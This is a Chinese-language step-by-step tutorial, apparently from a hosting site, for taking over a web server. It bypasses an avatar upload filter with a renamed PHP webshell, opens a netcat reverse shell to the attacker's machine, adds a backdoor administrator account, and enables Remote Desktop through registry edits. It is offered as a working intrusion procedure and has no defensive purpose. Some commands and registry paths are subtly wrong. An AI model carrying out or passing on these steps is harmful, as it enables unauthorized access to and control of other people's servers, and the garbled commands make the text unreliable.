1、將webshell.php的后綴名改成jpg等圖片格式，即web.jpg。
2、打開相應網址，注冊好賬號后選擇上傳頭像將web.jpg上傳期間運行fiddler并設置斷點，切換到raw界面，等到其提示相應請求代碼后，將其代碼段中第二個含有上傳圖片名稱的代碼改成web.php，之后繼續響應請求。
3、此時已經成功把后門程序上傳，將服務器反饋的代碼中含有路徑的部分復制粘貼到網站URL后面（注意將？php覆蓋）刷新網頁。
4、然后輸入相應密碼進入控制服務器端，將本機的nc.exe（netcut）上載到其C盤根目錄下。
5、而后在自己本機打開cmd命令窗口找到nc.exe所在的目錄并運行
6、這時已經進入nc.exe，在Cmd line:后輸入nc -vv -l -p 8080進行監聽
7、在控制服務器端選擇Execute Command窗口，輸入'c:\nc.exe -vv [自身ip 端口] -e cmd.exe'啟動nc（綁定服務器端主機的cmd.exe在本機的相應端口）
8、然后就可以添加自己的賬號作為管理員了，具體操作是:
(1) net user hacker 3836546 /add （添加用戶）
(2) net user localgroup administrators test /add （添加到管理員組）
9、寫入注冊表:REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
（win2k,winxp,win2k3下開啟遠程桌面,不用重啟）
10、有時還需要修改3389端口
[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\Wds\Repwd\Tds\Tcp]
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentContro1Set\Control\TenninalServer\WinStations\RDP-Tcp]
11、完成上述流程后，你就可以進入服務器端的主機進行操作
免責聲明：本站發布的內容（圖片、視頻和文字）以原創、轉載和分享為主，文章觀點不代表本網站立場，如果涉及侵權請聯系站長郵箱：is@yisu.com進行舉報，并提供相關證據，一經查實，將立刻刪除涉嫌侵權內容。
